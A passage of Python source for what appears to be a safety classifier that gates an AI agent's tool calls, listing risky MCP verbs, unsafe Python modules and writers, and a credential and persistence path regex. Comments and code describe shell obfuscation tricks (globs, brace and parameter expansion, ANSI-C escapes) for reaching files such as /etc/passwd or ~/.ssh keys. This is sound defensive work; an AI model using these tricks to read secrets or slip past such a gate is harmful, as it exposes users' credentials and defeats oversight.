|
"focus",
|
|
# data shaping
|
|
"sort",
|
|
"filter",
|
|
"group",
|
|
"aggregate",
|
|
"split",
|
|
"chunk",
|
|
"tokenize",
|
|
"encode",
|
|
"decode",
|
|
"hash",
|
|
"sign",
|
|
"verify",
|
|
"compress",
|
|
"decompress",
|
|
"dedupe",
|
|
"normalize",
|
|
"normalise",
|
|
"sanitize",
|
|
"sanitise",
|
|
"redact",
|
|
"mask",
|
|
"compute",
|
|
"calculate",
|
|
"solve",
|
|
"simulate",
|
|
"plot",
|
|
"chart",
|
|
# build / ship
|
|
"build",
|
|
"compile",
|
|
"bundle",
|
|
"package",
|
|
"backup",
|
|
"restore",
|
|
"ask",
|
|
"answer",
|
|
"chat",
|
|
"prompt",
|
|
"respond",
|
|
"reply",
|
|
"transcribe",
|
|
}
|
|
)
|
|
|
|
|
|
# Verbs the patterns above already gate. A name carrying one is still screenable
|
|
# even though reaching this point means it did not match: `undelete` is the
|
|
# reverse of a verb this classifier knows.
|
|
_AUTO_GATED_MCP_VERBS = frozenset(
|
|
{
|
|
"delete",
|
|
"remove",
|
|
"drop",
|
|
"destroy",
|
|
"purge",
|
|
"wipe",
|
|
"truncate",
|
|
"clear",
|
|
"reset",
|
|
"empty",
|
|
"flush",
|
|
"prune",
|
|
"expire",
|
|
"revoke",
|
|
"grant",
|
|
"authorize",
|
|
"authorise",
|
|
"elevate",
|
|
"escalate",
|
|
"impersonate",
|
|
"promote",
|
|
"transfer",
|
|
"payout",
|
|
"charge",
|
|
"refund",
|
|
"publish",
|
|
"deploy",
|
|
"release",
|
|
"install",
|
|
"uninstall",
|
|
"lock",
|
|
"mount",
|
|
}
|
|
)
|
|
_AUTO_MCP_VERB_VOCAB = _AUTO_KNOWN_MCP_VERBS | _AUTO_GATED_MCP_VERBS
|
|
|
|
|
|
def _mcp_verb_is_known(tool_name: str) -> bool:
|
|
"""Whether any term of an MCP tool name is a verb this classifier knows.
|
|
A name with none of them cannot be screened, so the caller fails closed."""
|
|
for part in re.split(r"[_\-]+", tool_name.lower()):
|
|
if not part:
|
|
continue
|
|
if part in _AUTO_KNOWN_MCP_VERBS:
|
|
return True
|
|
# The reverse or the repeat of a recognised verb (undelete, reopen,
|
|
# resend) is just as screenable as the verb itself.
|
|
for prefix in ("un", "re"):
|
|
if part.startswith(prefix) and part[len(prefix) :] in _AUTO_MCP_VERB_VOCAB:
|
|
return True
|
|
return False
|
|
|
|
|
|
# Privilege escalation over MCP: granting a role/permission/policy hands out
|
|
# access the operator never approved. An unambiguous privilege verb matches on
|
|
# its own; the soft verbs below (assign/add/set/attach/bind) only count next to a
|
|
# privilege noun, so assign_issue / add_label keep running.
|
|
_AUTO_PRIVILEGE_MCP_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:grant|authorize|authorise|elevate|escalate|impersonate|sudo|promote)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
# Money movement and other irreversible external side effects: an MCP call
|
|
# that pays, refunds, wires or transfers funds cannot be undone by the
|
|
# operator, so it asks even though it is not "destructive" in the fs sense.
|
|
_AUTO_HIGH_IMPACT_MCP_RE = re.compile(
|
|
r"(?:^|[_\-])(?:transfer|payout|payment|pay|charge|refund|wire|remit|"
|
|
r"withdraw|deposit|invoice|subscription|subscriptions|billing|"
|
|
r"publish|deploy|release)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
_AUTO_PRIVILEGE_MCP_NOUN_RE = re.compile(
|
|
r"(?:^|[_\-])(?:role|roles|permission|permissions|privilege|privileges|acl|acls|"
|
|
r"policy|policies|scope|scopes|grant|grants|membership|member|members|"
|
|
r"collaborator|collaborators|admin|owner)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
_AUTO_PRIVILEGE_MCP_SOFT_VERB_RE = re.compile(
|
|
r"(?:^|[_\-])(?:assign|add|set|attach|bind|put|update|create)(?:[_\-]|$)",
|
|
re.IGNORECASE,
|
|
)
|
|
|
|
# Python: modules whose import alone signals side effects auto mode should ask
|
|
# about (process spawning, network, bulk file ops, low-level memory).
|
|
_AUTO_UNSAFE_PY_MODULES = frozenset(
|
|
{
|
|
"subprocess",
|
|
"shutil",
|
|
"socket",
|
|
"ctypes",
|
|
"multiprocessing",
|
|
"pty",
|
|
"fcntl",
|
|
"requests",
|
|
"urllib",
|
|
"urllib3",
|
|
"http",
|
|
"httpx",
|
|
"aiohttp",
|
|
# huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
|
|
# files over the network and write them to an on-disk cache.
|
|
"huggingface_hub",
|
|
# websockets opens a network connection; socketserver binds a listener.
|
|
"websockets",
|
|
"socketserver",
|
|
"ftplib",
|
|
"smtplib",
|
|
"telnetlib",
|
|
"paramiko",
|
|
# mail/news/rpc/browser stdlib clients open outbound connections
|
|
# (imaplib, poplib, xmlrpc.client, webbrowser.open).
|
|
"imaplib",
|
|
"poplib",
|
|
"nntplib",
|
|
"xmlrpc",
|
|
"webbrowser",
|
|
"tempfile",
|
|
# deserialization that can execute arbitrary code on load.
|
|
"pickle",
|
|
"marshal",
|
|
"shelve",
|
|
"dill",
|
|
# dbm.open(file, "c"/"n") creates files; treat the family as writers.
|
|
"dbm",
|
|
# sqlite3.connect(path) creates/mutates a database file (and runs DDL/DML
|
|
# without an open()/writer attribute), like dbm.
|
|
"sqlite3",
|
|
# runpy runs a script/module as code.
|
|
"runpy",
|
|
# ensurepip.bootstrap installs pip and venv.create builds an environment;
|
|
# both write to disk and can fetch/install packages.
|
|
"ensurepip",
|
|
"venv",
|
|
}
|
|
)
|
|
# Attribute calls that mutate the filesystem / spawn processes (os.remove,
|
|
# Path.write_text, sock.connect, ...) regardless of how the module was bound.
|
|
_AUTO_UNSAFE_PY_ATTRS = frozenset(
|
|
{
|
|
"remove",
|
|
"unlink",
|
|
"rmdir",
|
|
"removedirs",
|
|
"rename",
|
|
"renames",
|
|
"replace",
|
|
"rmtree",
|
|
"move",
|
|
"copy",
|
|
"copy2",
|
|
"copyfile",
|
|
"copytree",
|
|
"chmod",
|
|
"chown",
|
|
"system",
|
|
"popen",
|
|
"execv",
|
|
"execve",
|
|
"execl",
|
|
"execlp",
|
|
"execvp",
|
|
"spawnl",
|
|
"spawnv",
|
|
# os.startfile launches a program via its Windows association.
|
|
"startfile",
|
|
"fork",
|
|
"kill",
|
|
"killpg",
|
|
"symlink",
|
|
"link",
|
|
"mkdir",
|
|
"makedirs",
|
|
"truncate",
|
|
"touch",
|
|
"write_text",
|
|
"write_bytes",
|
|
"urlopen",
|
|
"urlretrieve",
|
|
"connect",
|
|
"bind",
|
|
"sendall",
|
|
# pathlib link creators, os node/metadata mutators, dynamic import.
|
|
"symlink_to",
|
|
"hardlink_to",
|
|
"link_to",
|
|
"mkfifo",
|
|
"mknod",
|
|
"utime",
|
|
# os.setxattr / os.removexattr mutate extended attributes, like chmod.
|
|
"setxattr",
|
|
"removexattr",
|
|
"import_module",
|
|
# loader.exec_module runs a module's code like import_module; archive
|
|
# extractall/extract write arbitrary files (zip-slip): extract takes a
|
|
# single member but an attacker-controlled member path still escapes.
|
|
"exec_module",
|
|
"extractall",
|
|
"extract",
|
|
"FileIO",
|
|
# asyncio subprocess spawners run a program past the terminal blocklist.
|
|
"create_subprocess_exec",
|
|
"create_subprocess_shell",
|
|
"subprocess_exec",
|
|
"subprocess_shell",
|
|
# asyncio outbound connections / listeners (open_connection,
|
|
# create_connection/server and unix variants), like socket.connect.
|
|
"open_connection",
|
|
"create_connection",
|
|
"create_server",
|
|
"create_unix_connection",
|
|
"create_unix_server",
|
|
# more asyncio listen/connect + UDP/raw socket helpers.
|
|
"start_server",
|
|
"start_unix_server",
|
|
"open_unix_connection",
|
|
"create_datagram_endpoint",
|
|
"sock_connect",
|
|
# os.chdir escapes the workdir; runpy helpers run arbitrary code.
|
|
"chdir",
|
|
"fchdir",
|
|
"run_path",
|
|
"run_module",
|
|
# types.FunctionType wraps a compiled code object into a callable, a
|
|
# dynamic-execution vector; pandas read_pickle deserializes (runs code).
|
|
"FunctionType",
|
|
"read_pickle",
|
|
}
|
|
)
|
|
# Pickle-backed loaders that can execute code embedded in the file; gated by
|
|
# receiver module (torch.load, joblib.load) since bare `load` is too common.
|
|
_AUTO_UNSAFE_PY_LOAD_MODULES = frozenset({"torch", "joblib", "cloudpickle"})
|
|
# Writer methods that persist to disk without going through open() (numpy.save,
|
|
# Image.save, plt.savefig, DataFrame.to_csv, json.dump). Gated as method calls
|
|
# only, so a bare attribute reference is not mistaken for a write.
|
|
_AUTO_UNSAFE_PY_WRITE_METHODS = frozenset(
|
|
{
|
|
"save",
|
|
"savefig",
|
|
"savez",
|
|
"savez_compressed",
|
|
"savetxt",
|
|
"tofile",
|
|
"dump",
|
|
"to_csv",
|
|
"to_parquet",
|
|
"to_pickle",
|
|
"to_json",
|
|
"to_feather",
|
|
"to_hdf",
|
|
"to_excel",
|
|
"to_stata",
|
|
"to_sql",
|
|
"to_xml",
|
|
# pandas text exporters that write when given a path/buffer (to_html /
|
|
# to_markdown / to_latex mirror to_csv); to_clipboard / to_gbq persist
|
|
# off-process. to_string is omitted: it is overwhelmingly display-only.
|
|
"to_html",
|
|
"to_markdown",
|
|
"to_latex",
|
|
"to_clipboard",
|
|
"to_gbq",
|
|
"imwrite",
|
|
"imsave",
|
|
"write_image",
|
|
"write_html",
|
|
# ML persistence helpers (transformers/peft/safetensors/keras) that
|
|
# export adapters or weights to disk without an open()/writer attribute.
|
|
"save_pretrained",
|
|
"save_file",
|
|
"save_model",
|
|
"save_weights",
|
|
"save_lora",
|
|
"save_checkpoint",
|
|
# logging file handlers open a log file for write on construction (even
|
|
# default mode "a" creates); matched as attribute call and bare import.
|
|
"FileHandler",
|
|
"WatchedFileHandler",
|
|
"RotatingFileHandler",
|
|
"TimedRotatingFileHandler",
|
|
# numpy.memmap(..., mode="w+") and pandas writers create/truncate a file
|
|
# on construction, like open(..., "w").
|
|
"memmap",
|
|
"open_memmap",
|
|
"ExcelWriter",
|
|
"HDFStore",
|
|
# pydoc.writedoc(name) writes name.html to the workdir.
|
|
"writedoc",
|
|
}
|
|
)
|
|
# Archive / compressed-file constructors taking the mode as their 2nd arg like
|
|
# open: ZipFile(name, "w") / gzip.GzipFile(name, "w") write, so gated only in
|
|
# write mode (reading a .gz is fine, so the modules are not blanket-unsafe).
|
|
_ARCHIVE_CTOR_NAMES = frozenset({"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"})
|
|
# The stdlib module each archive constructor is imported from.
|
|
_ARCHIVE_CTOR_MODULES = {
|
|
"zipfile": "ZipFile",
|
|
"tarfile": "TarFile",
|
|
"gzip": "GzipFile",
|
|
"bz2": "BZ2File",
|
|
"lzma": "LZMAFile",
|
|
}
|
|
# Modules whose top-level open() takes the mode as its 2nd arg like builtin open,
|
|
# so `from gzip import open as gopen` binds an open alias gated on write mode.
|
|
_OPEN_ALIAS_MODULES = frozenset({"gzip", "bz2", "lzma"})
|
|
# Builtins/itertools helpers that call their first argument once per item, so a
|
|
# writer/open alias handed to one runs without a direct call(...) site
|
|
# (list(map(open, names, modes)), starmap(np.save, ...)). filter's predicate is
|
|
# also invoked, so a writer smuggled there runs too.
|
|
_HIGHER_ORDER_INVOKERS = frozenset({"map", "filter", "starmap", "reduce"})
|
|
_PY_WRITE_MODE_RE = re.compile(r"[wax+]")
|
|
# A file-mode literal ("w", "rb", "a+"): letters/flags only, no path chars.
|
|
# Used to tell a Path.open("w") mode from a ZipFile.open("name.txt") filename.
|
|
_PY_MODE_LITERAL_RE = re.compile(r"^[rwxa][btru+]*$")
|
|
# Destructive filesystem calls in the python tool pair with the terminal `rm`
|
|
# gate, so auto prompts. `rmtree`/`unlink`/`rmdir`/`removedirs` name only fs
|
|
# deletion, so any receiver counts; `remove` is gated on the `os` module alone so
|
|
# a benign list.remove() stays out. A bare import binding is caught separately.
|
|
_PY_DESTRUCTIVE_FS_ATTRS = frozenset({"unlink", "rmtree", "rmdir", "removedirs"})
|
|
# psutil ends a process exactly as os.kill does, which is already gated.
|
|
_PY_PROCESS_KILL_ATTRS = frozenset({"kill", "terminate", "send_signal", "suspend"})
|
|
_PY_PROCESS_MODULES = frozenset({"psutil"})
|
|
# Gated only on the os module (or an alias) so a truncate/remove-like method on
|
|
# another receiver stays out. os.truncate zeroes a file like the gated terminal
|
|
# `truncate`; os.kill/os.killpg terminate like the blocked `kill`.
|
|
_PY_DESTRUCTIVE_FS_OS_ATTRS = frozenset({"remove", "truncate", "ftruncate", "kill", "killpg"})
|
|
_PY_DESTRUCTIVE_FS_IMPORT_NAMES = frozenset(
|
|
{
|
|
"remove",
|
|
"unlink",
|
|
"rmtree",
|
|
"rmdir",
|
|
"removedirs",
|
|
"truncate",
|
|
"ftruncate",
|
|
"kill",
|
|
"killpg",
|
|
}
|
|
)
|
|
# Modules whose destructive names are the same calls: posix/nt are os's
|
|
# platform twins (from posix import unlink; nt.remove(...)).
|
|
_PY_DESTRUCTIVE_FS_MODULES = ("os", "posix", "nt", "shutil", "pathlib")
|
|
|
|
# Reading these off the host escapes the intent of "read-only is safe": they
|
|
# hold credentials. Path traversal (../) escapes the per-session workdir.
|
|
_SENSITIVE_PATH_RE = re.compile(
|
|
r"(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube|config/gcloud|config/gh)(?:[/\\]|$)"
|
|
r"|\.(?:netrc|npmrc|pypirc|git-credentials|env)(?:$|[/\\.\s'\"])"
|
|
# User-level persistence: a write into a shell startup file or an XDG
|
|
# autostart/user-service dir runs on the next login, the /etc boot-hook risk
|
|
# without root, and the sandbox does not confine absolute paths (>> ~/.bashrc
|
|
# reaches the real file). Rarely read in a dev session, so gating any
|
|
# reference does not over-prompt.
|
|
r"|(?:^|[/\\\s'\"=])\.(?:bashrc|bash_profile|bash_login|bash_logout|bash_aliases"
|
|
r"|profile|zshrc|zprofile|zshenv|zlogin|zlogout|kshrc|cshrc|tcshrc|login"
|
|
r"|xprofile|xinitrc|xsession)(?:$|[/\\\s'\"])"
|
|
r"|(?:^|[/\\])\.config[/\\](?:autostart|systemd[/\\]user|environment\.d)(?:[/\\]|$)"
|
|
r"|id_rsa|id_ed25519|id_ecdsa|id_dsa"
|
|
# Hugging Face stores the login token at ~/.cache/huggingface/token and the
|
|
# legacy ~/.huggingface/token (plus the multi-token store stored_tokens); the
|
|
# rest of that cache is model data, so only the credential files match. The
|
|
# optional leading dot covers the .huggingface dotdir form.
|
|
r"|(?:^|[/\\])\.?huggingface[/\\](?:token|stored_tokens)(?:$|[/\\.\s'\"])"
|
|
# /etc/ssh holds the host private keys (ssh_host_*_key); the whole dir is
|
|
# sensitive, not just passwd/shadow/sudoers. The trailing group is the system
|
|
# persistence set: a write there (tee /etc/ld.so.preload, a drop into
|
|
# /etc/cron.d or /etc/systemd) installs a boot/login/preload hook, and the
|
|
# sandbox keeps host-fs access. Effectively write-only in a dev session, so
|
|
# gating any reference does not over-prompt.
|
|
r"|credentials|/etc/(?:passwd|shadow|sudoers|ssh(?:[/\\]|$)"
|
|
r"|cron[^/\\]*(?:[/\\]|$)|profile\.d(?:[/\\]|$)|systemd(?:[/\\]|$)"
|
|
r"|ld\.so\.preload(?:$|[/\\.\s'\"])|ld\.so\.conf|rc\.local|init\.d(?:[/\\]|$))"
|
|
# Bash opens /dev/tcp/host/port and /dev/udp/host/port as network sockets,
|
|
# so a redirection to one reaches the network without the confirm prompt.
|
|
r"|/dev/(?:tcp|udp)/"
|
|
# Docker/Kubernetes secret mounts hold injected credentials.
|
|
r"|/(?:var/)?run/secrets(?:[/\\]|$)"
|
|
# procfs leaks a (possibly parent) process env/args/memory to a read,
|
|
# including the per-thread aliases under /proc/<pid>/task/<tid>/. The fd/
|
|
# dir holds symlinks to a process's open files (a held credential/db file).
|
|
r"|/proc/[^/\s'\"]+/(?:task/[^/\s'\"]+/)?(?:environ|cmdline|mem|maps|fd)\b"
|
|
# A .pem/.key file (basename before the extension), not a bare ".key"
|
|
# (e.g. a jq '.key' filter).
|
|
r"|\w[\w.-]*\.(?:pem|key)(?:$|[\s'\"])",
|
|
re.IGNORECASE,
|
|
)
|
|
# A shell redirection with no following space (cat <../../notes) keeps `..`
|
|
# adjacent to `<`/`>`, so those count as leading delimiters here too.
|
|
_PARENT_TRAVERSAL_RE = re.compile(r"(?:^|[\s/\\'\"=:<>])\.\.(?:[/\\]|$|[\s'\"])")
|
|
# A sensitive directory: a dynamic segment under it (open(f"/etc/{name}")) is
|
|
# not provably safe, so fail closed when a folded path has a dynamic piece here.
|
|
_SENSITIVE_DIR_RE = re.compile(
|
|
r"/etc/|/(?:var/)?run/secrets[/\\]|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)[/\\]"
|
|
r"|(?:^|[/\\])\.config/(?:gcloud|gh)[/\\]",
|
|
re.IGNORECASE,
|
|
)
|
|
# Collapse /./ and repeated slashes so /etc/./passwd and /etc//passwd, which
|
|
# the OS resolves to /etc/passwd, still match the sensitive-path regex.
|
|
_REDUNDANT_SLASH_RE = re.compile(r"/\.?(?=/)")
|
|
# $name, ${name}, and operator/substring forms (${name:-x}, ${name:0:6}) all
|
|
# reference `name`; substituting the assigned value catches paths hidden behind
|
|
# a substring expansion (p=passwd; cat /etc/${p:0:6}).
|
|
_SHELL_VAR_RE = re.compile(r"\$\{(\w+)(?::[^{}]*)?\}|\$(\w+)")
|
|
# Pattern replacement (${p/X/w}, global ${p//X/w}) transforms the value before
|
|
# the path is used; apply it so p=passXd; cat /etc/${p/X/w} is scanned.
|
|
_SHELL_PARAM_REPL_RE = re.compile(r"\$\{(\w+)/(/)?([^/{}]*)/([^{}]*)\}")
|
|
# Case modification (${p^^} upper, ${p,,} lower, ${p^}/${p,} first char) also
|
|
# transforms the value, so p=PASSWD; cat /etc/${p,,} builds /etc/passwd.
|
|
_SHELL_PARAM_CASE_RE = re.compile(r"\$\{(\w+)(\^\^|,,|\^|,)\}")
|
|
# Indirect expansion ${!p} yields the value of the variable *named* by $p, so
|
|
# x=passwd; p=x; cat /etc/${!p} builds /etc/passwd.
|
|
_SHELL_PARAM_INDIRECT_RE = re.compile(r"\$\{!(\w+)\}")
|
|
_SHELL_ASSIGN_RE = re.compile(r"(?:^|[\s;&|(])([A-Za-z_]\w*)=([^\s;&|)]+)")
|
|
# Bash ANSI-C quoting ($'\x77' -> 'w') is expanded after this classifier, so
|
|
# decode $'...' bodies before the sensitive-path scan.
|
|
_ANSI_C_RE = re.compile(r"\$'((?:[^'\\]|\\.)*)'")
|
|
# Shell quotes only delimit; bash concatenates the pieces (cat /proc/x/enviro''n
|
|
# reads .../environ), so strip them before the sensitive-path scan.
|
|
_SHELL_QUOTE_RE = re.compile(r"['\"]")
|
|
# A glob bracket class [s] -> s, so .s[s]h de-obfuscates to .ssh for the scan.
|
|
_GLOB_BRACKET_RE = re.compile(r"\[([^!\]][^\]]*)\]")
|
|
# Bash POSIX character classes ([[:lower:]]) each match one char; Python fnmatch
|
|
# does not understand them, so normalize to `?` before the glob check.
|
|
_POSIX_CLASS_RE = re.compile(r"\[\[:\w+:\]\]")
|
|
# Canonical sensitive files a ? / * / [..] glob could expand to; fnmatch tests
|
|
# whether the pattern reaches one (cat /e??/passwd -> /etc/passwd).
|
|
_SENSITIVE_GLOB_TARGETS = (
|
|
"/etc/passwd",
|
|
"/etc/shadow",
|
|
"/etc/sudoers",
|
|
"/root/.ssh/id_rsa",
|
|
"/root/.aws/credentials",
|
|
"/home/u/.ssh/id_rsa",
|
|
"/home/u/.ssh/id_ed25519",
|
|
"/home/u/.aws/credentials",
|
|
"/home/u/.netrc",
|
|
"/home/u/.git-credentials",
|
|
)
|
|
# Directories whose every file is a credential/secret; a glob resolving into one
|
|
# (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa) reads a secret even though
|
|
# the exact filename is never enumerated, so a globbed token here asks.
|
|
_SENSITIVE_GLOB_DIRS = (
|
|
"/run/secrets",
|
|
"/var/run/secrets",
|
|
"/root/.ssh",
|
|
"/root/.aws",
|
|
"/root/.azure",
|
|
"/root/.gnupg",
|
|
"/root/.docker",
|
|
"/root/.kube",
|
|
"/root/.config/gcloud",
|
|
"/root/.config/gh",
|
|
"/home/u/.ssh",
|
|
"/home/u/.aws",
|
|
"/home/u/.azure",
|
|
"/home/u/.gnupg",
|
|
"/home/u/.docker",
|
|
"/home/u/.kube",
|
|
"/home/u/.config/gcloud",
|
|
"/home/u/.config/gh",
|
|
)
|
|
# Credential basenames a glob can reach even when the directory is not wholly
|
|
# sensitive (cat ~/.huggingface/tok?n -> token, cat ~/.netr? -> .netrc); the
|
|
# canonical-target list only covers a few fixed home paths, so match the globbed
|
|
# basename against these directly.
|
|
_SENSITIVE_GLOB_BASENAMES = frozenset(
|
|
{
|
|
"token",
|
|
"stored_tokens",
|
|
"credentials",
|
|
".netrc",
|
|
"netrc",
|
|
".pypirc",
|
|
".npmrc",
|
|
".git-credentials",
|
|
"id_rsa",
|
|
"id_ed25519",
|
|
"id_ecdsa",
|
|
"id_dsa",
|
|
"passwd",
|
|
"shadow",
|
|
# A project .env holds secrets; the literal path is gated elsewhere, so a
|
|
# glob that expands to it (cat .e?v) must be too.
|
|
".env",
|
|
}
|
|
)
|
|
# A leading shell redirection (<, >, 2>, >>) hides the path from a plain glob
|
|
# scan (cat </e??/passwd); strip it before matching.
|
|
_REDIR_PREFIX_RE = re.compile(r"^\d*[<>]+")
|
|
# Bash brace expansion (cat /etc/pass{w,}d -> /etc/passwd /etc/passd, and the
|
|
# sequence form cat /etc/pass{w..w}d -> /etc/passwd) runs after this classifier;
|
|
# expand comma groups and .. sequences to scan each result.
|
|
_BRACE_COMMA_RE = re.compile(r"^\{([^{}]*,[^{}]*)\}$")
|
|
_BRACE_SEQ_RE = re.compile(r"^\{([^{}]+)\.\.([^{}]+)(?:\.\.(-?\d+))?\}$")
|
|
_BRACE_ANY_RE = re.compile(r"\{[^{}]*,[^{}]*\}|\{[^{}]+\.\.[^{}]+(?:\.\.-?\d+)?\}")
|
|
# Parameter expansion with a default/alternate operator (${x:-passwd},
|
|
# ${x:+passwd}, ${x=passwd}) can synthesize a path after approval; the operand
|
|
# is substituted so the resulting path is scanned.
|
|
_SHELL_PARAM_OP_RE = re.compile(r"\$\{[A-Za-z_]\w*:?[-=+]([^{}]*)\}")
|
|
|
|
|
|
# The credential-path pattern is superlinear in the text length and a real path
|
|
# is short, so text far past any real path fails closed: the caller asks rather
|
|
# than spending unbounded time. Ordinary commands are far below these bounds.
|
|
_MAX_PATH_SCAN_CHARS = 2048
|
|
_MAX_TERMINAL_SCAN_CHARS = 4096
|
|
|
|
|
|
def _references_sensitive_path(text: str) -> bool:
|
|
"""True if a command or string literal reads a credential path or escapes
|
|
the sandbox workdir via parent traversal."""
|
|
if len(text) > _MAX_PATH_SCAN_CHARS:
|
|
return True
|
|
norm = _REDUNDANT_SLASH_RE.sub("", text)
|
|
debracket = _GLOB_BRACKET_RE.sub(lambda m: m.group(1)[0], text)
|
|
return bool(
|
|
_PARENT_TRAVERSAL_RE.search(text)
|
|
or _SENSITIVE_PATH_RE.search(text)
|
|
or _SENSITIVE_PATH_RE.search(norm)
|
|
or _SENSITIVE_PATH_RE.search(debracket)
|
|
)
|
|
|
|
|
|
def _pattern_matches_dir(pattern: str, target: str) -> bool:
|
|
"""Segment-wise fnmatch so a glob segment does not cross a '/' boundary
|
|
(`/home/*` must not match `/home/u/.ssh`)."""
|
|
p = pattern.split("/")
|
|
t = target.split("/")
|
|
if len(p) != len(t):
|
|
return False
|
|
return all(fnmatch.fnmatch(tseg, pseg) for pseg, tseg in zip(p, t))
|
|
|
|
|
|
def _glob_token_sensitive(token: str) -> bool:
|
|
"""True if a single ? / * / [..] glob token could expand to a sensitive file
|
|
or a file under a secret/credential directory. Shared by the terminal scan
|
|
and the Python glob check (glob.glob('/e??/passwd'))."""
|
|
token = _REDIR_PREFIX_RE.sub("", _SHELL_QUOTE_RE.sub("", token))
|
|
# A POSIX class ([[:lower:]]) matches one char, like `?`, but fnmatch treats
|
|
# it as a literal set; normalize so cat /etc/pass[[:lower:]]d resolves.
|
|
token = _POSIX_CLASS_RE.sub("?", token)
|
|
if not any(c in token for c in "?*["):
|
|
return False
|
|
if any(fnmatch.fnmatch(target, token) for target in _SENSITIVE_GLOB_TARGETS):
|
|
return True
|
|
# A glob that resolves to a credential basename is sensitive wherever it
|
|
# lives (cat ~/.huggingface/tok?n -> token, cat proj/.netr? -> .netrc); the
|
|
# fixed-target list only covers a handful of home paths.
|
|
base = token.rsplit("/", 1)[-1]
|
|
if any(c in base for c in "?*[") and any(
|
|
fnmatch.fnmatch(name, base) for name in _SENSITIVE_GLOB_BASENAMES
|
|
):
|
|
return True
|
|
# A globbed directory that resolves into a secret/credential dir makes every
|
|
# file below it sensitive (cat /r?n/secrets/hf_token).
|
|
head = token.rsplit("/", 1)[0] if "/" in token else token
|
|
return any(
|
|
_pattern_matches_dir(token, d) or _pattern_matches_dir(head, d)
|
|
for d in _SENSITIVE_GLOB_DIRS
|
|
)
|
|
|
|
|
|
def _glob_hits_sensitive(command: str) -> bool:
|
|
"""True if any glob token in a command could expand to a sensitive file, so
|
|
`cat /e??/passwd` and `cat /r?n/secrets/hf_token` ask even without a literal
|
|
sensitive path."""
|
|
return any(
|
|
_glob_token_sensitive(token)
|
|
for token in command.replace(";", " ").replace("|", " ").split()
|
|
)
|
|
|
|
|
|
def _expand_shell_assignments(command: str) -> str:
|
|
"""Best-effort substitution of `NAME=value ... $NAME`, so a sensitive path
|
|
split across an assignment and an argument (p=/etc; cat $p/passwd) is still
|
|
visible to the sensitive-path scan. Also applies pattern replacement
|
|
(p=passXd; cat /etc/${p/X/w}). Fail-open: only adds detections."""
|
|
env = dict(_SHELL_ASSIGN_RE.findall(command))
|
|
if not env:
|
|
return command
|
|
|
|
def repl_pattern(m):
|
|
var, is_global, pat, rep = m.group(1), m.group(2), m.group(3), m.group(4)
|
|
if var not in env or not pat:
|
|
return m.group(0)
|
|
return env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1)
|
|
|
|
def repl_case(m):
|
|
var, op = m.group(1), m.group(2)
|
|
if var not in env:
|
|
return m.group(0)
|
|
v = env[var]
|
|
if op == ",,":
|
|
return v.lower()
|
|
if op == "^^":
|
|
return v.upper()
|
|
if op == ",":
|
|
return v[:1].lower() + v[1:]
|
|
return v[:1].upper() + v[1:]
|
|
|
|
def repl_indirect(m):
|
|
# ${!p} -> value of the variable named by $p (env[env[p]]).
|
|
pointed = env.get(m.group(1))
|
|
return env.get(pointed, m.group(0)) if pointed is not None else m.group(0)
|
|
|
|
command = _SHELL_PARAM_INDIRECT_RE.sub(repl_indirect, command)
|
|
command = _SHELL_PARAM_REPL_RE.sub(repl_pattern, command)
|
|
command = _SHELL_PARAM_CASE_RE.sub(repl_case, command)
|
|
return _SHELL_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command)
|
|
|
|
|
|
def _expand_param_defaults(command: str) -> str:
|
|
"""Substitute the operand of a default/alternate parameter expansion
|
|
(cat /etc/pass${x:-wd} -> cat /etc/passwd), which bash applies after this
|
|
classifier. Fail-open: only adds detections."""
|
|
return _SHELL_PARAM_OP_RE.sub(lambda m: m.group(1), command)
|
|
|
|
|
|
# Bash expands $'...' to a single word, so a separator inside it is data. Callers
|
|
# that tokenize the decoded text neutralize these first, otherwise
|
|
# `printf '%s' $'a\\nrm -rf x'` reads as two commands and the printf is refused.
|
|
_ANSI_C_SEPARATOR_RE = re.compile(r"[\s;&|()<>`]")
|
|
|
|
|
|
def _folded_str_literal(node) -> "str | None":
|
|
"""The string an expression evaluates to when built only from string literals
|
|
("un" + "link", f"un{'link'}"), else None. Resolves a name spelled
|
|
dynamically but fully known at parse time."""
|
|
if isinstance(node, ast.Constant):
|
|
return node.value if isinstance(node.value, str) else None
|
|
if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add):
|
|
left = _folded_str_literal(node.left)
|
|
right = _folded_str_literal(node.right)
|
|
return None if left is None or right is None else left + right
|
|
if isinstance(node, ast.JoinedStr):
|
|
parts = []
|
|
for value in node.values:
|
|
piece = _folded_str_literal(value)
|
|
if piece is None:
|
|
return None
|
|
parts.append(piece)
|
|
return "".join(parts)
|
|
if isinstance(node, ast.FormattedValue) and node.format_spec is None:
|
|
return _folded_str_literal(node.value)
|
|
return None
|
|
|
|
|
|
def _decode_ansi_c(command: str, *, keep_one_word: bool = False) -> str:
|
|
"""Decode bash ANSI-C quoted words (cat $'/etc/pass\\x77d' -> cat /etc/passwd)
|
|
so an escape-obfuscated path is visible to the scan. Fail-open: only adds
|
|
detections. With ``keep_one_word`` the decoded text cannot introduce new
|
|
shell syntax, which is what bash does with it."""
|
|
|
|
def dec(m):
|
|
try:
|
|
text = bytes(m.group(1), "utf-8").decode("unicode_escape")
|
|
except (UnicodeDecodeError, ValueError):
|
|
return m.group(0)
|
|
return _ANSI_C_SEPARATOR_RE.sub("_", text) if keep_one_word else text
|
|
|
|
return _ANSI_C_RE.sub(dec, command)
|
|
|
|
|
|
def _brace_range(lo: str, hi: str, step: "str | None") -> "list[str]":
|
|
"""Expand a bash sequence brace endpoint pair ({1..3}, {a..c}, {w..w})."""
|
|
try:
|
|
istep = abs(int(step)) if step else 1
|
|
istep = istep or 1
|
|
if re.fullmatch(r"-?\d+", lo) and re.fullmatch(r"-?\d+", hi):
|
|
a, b = int(lo), int(hi)
|
|
rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
|
|
return [str(x) for x in rng][:64]
|
|
if len(lo) == 1 and len(hi) == 1 and lo.isalpha() and hi.isalpha():
